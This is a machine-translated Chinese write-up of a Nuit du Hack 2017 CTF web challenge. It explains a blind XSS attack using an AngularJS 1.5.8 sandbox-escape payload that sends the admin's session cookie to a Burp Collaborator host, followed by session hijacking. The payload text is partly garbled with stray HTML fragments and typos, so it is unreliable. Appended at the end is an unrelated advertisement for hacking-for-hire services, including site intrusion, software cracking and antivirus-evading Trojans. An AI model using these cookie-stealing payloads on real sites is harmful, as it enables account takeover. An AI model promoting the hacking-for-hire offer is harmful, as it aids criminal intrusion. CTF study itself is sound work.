上周末,我参加了法国黑客年度比赛“Nuit du Hack 2017”的资格赛预赛。那时,我成功地管理了游戏中的所有网络安全挑战,并且一个人在网络挑战中获得了团队的所有分数,而我使用的唯一工具是BurpSuite Pro。接下来,我会告诉你我是怎么做到的。 挑战被称为“紫色市场”。该游戏对挑战场景有以下描述:您正在政府的IT取证部门工作。您目前正在调查销售非法毒品和枪械武器的非法网站。你需要做的是找到获得它的方法。给网站管理员的IBAN,这是他的国际银行帐号。应用程序的Web服务器是使用Express构建的,这意味着它是一个NodeJS应用程序。服务器使用AngularJSv1.5.8,整个页面位于执行上下文环境中(感谢< html lang=“en”ng-app>的根标记)。此外,我们可以通过“/contact”路径访问联系表单,这样我们就可以向网站管理员发送消息,并且网站显示“当前在线”的管理员状态。 对于这些信息,我做了以下假设: 1.这是一个Blind XSS漏洞,我可以通过此联系表单利用此漏洞; 2.考虑到该网站使用AngularJS v1.5.8,AngularJS也将是一个非常重要的突破; 3.基本的HTML注入和JavaScript注入(使用< img>或< script>标记)可能已被过滤掉; 注意:在我查看其他一些文章之后,我发现我认为的第二和第三点是错误的。
但是,我开始使用AngularJS v1.5.8的Payload并成功触发ping-back而不使用尖括号(您可以单击此处测试此向量)。 BurpSuite Pro提供了一种名为Collaborator的带外数据通信工具,现在我们可以使用这个工具了。所以我打开了Burp Collaborator客户端,点击“复制到剪贴板”按钮生成了Collaborator Payload。
由于我使用的是公共服务器,因此我将Payload称为“ophvu6oll9gfio3zzict8aphh8n3bs.burpcollaborator.net”,这是主机名。因此,我们通过“/contact”联系表单发送的初始向量如下: {{a=toString()。constructor.prototype; a.charAt=a.trim; $ eval('a,(new(Image))。src='//ophvu6oll9gfio3zzict8aphh8n3bs.burpcollaborator.net'rel='external nofollow' , 一个')}} 几分钟后,我收到了Collaborator的回复,如下图所示。受感染的主机来自http://localhost: 3001/admin/messages/137 /并使用PhantomJS/2.1.1。
接下来,我生成了一个新的Cpllaborator Payload(现在为“b3fi8t28zwu2wbhmd5qgmx34vv1sph .”),然后稍微修改了注入代码,因为我需要从网站管理员中提取令牌: {{a=toString()。constructor.prototype; a.charAt=a.trim; $ eval('a,(new(Image))。src='//b3fi8t28zwu2wbhmd5qgmx34vv1sph.burpcollaborator.net/leak-'rel='外部nofollow'+ document.cookie,a')} 这一次,我收到了“connect.sid”cookie:
接下来,我在代理工具(代理)中设置匹配替换规则,并将“connecrt.sid”cookie替换为被盗的cookie值。然后通过浏览器访问“/admin/messages /”(这在比赛的参考中提前给出),其中包含管理员收到的所有信息以及指向其个人资料的链接。我点击了这个链接,成功找到了他的IBAN。 后来的话 有兴趣的学生可以访问游戏官员进行试用,看看他们是否可以完成这些挑战。 [比赛官方网站] *参考来源:agriri,FB小编Alpha_h4ck编译 黑客业务列表介绍和一般分类: 类别:攻击入侵破解开发 1:攻击业务订单:暂时取消所有此类业务订单[仅销售常规IDC流量] 2:入侵业务清单:包括网站源代码,办公系统,黑色系统,教育系统等。 3:破解业务类:软件,加密文件,二次打包,脱壳等。 4:二次开发业务清单:软件二次开发,源代码二次开发等 5:其他业务订单:特洛伊木马[通过所有防病毒],远程控制,特殊软件等 备注:未提及的业务订单可根据主要类别查询或直接联系客户服务。为避免浪费双方时间,请在咨询前阅读:业务交易流程及相关说明 注意:仅接受正式业务,个人无权接受。收集此内容。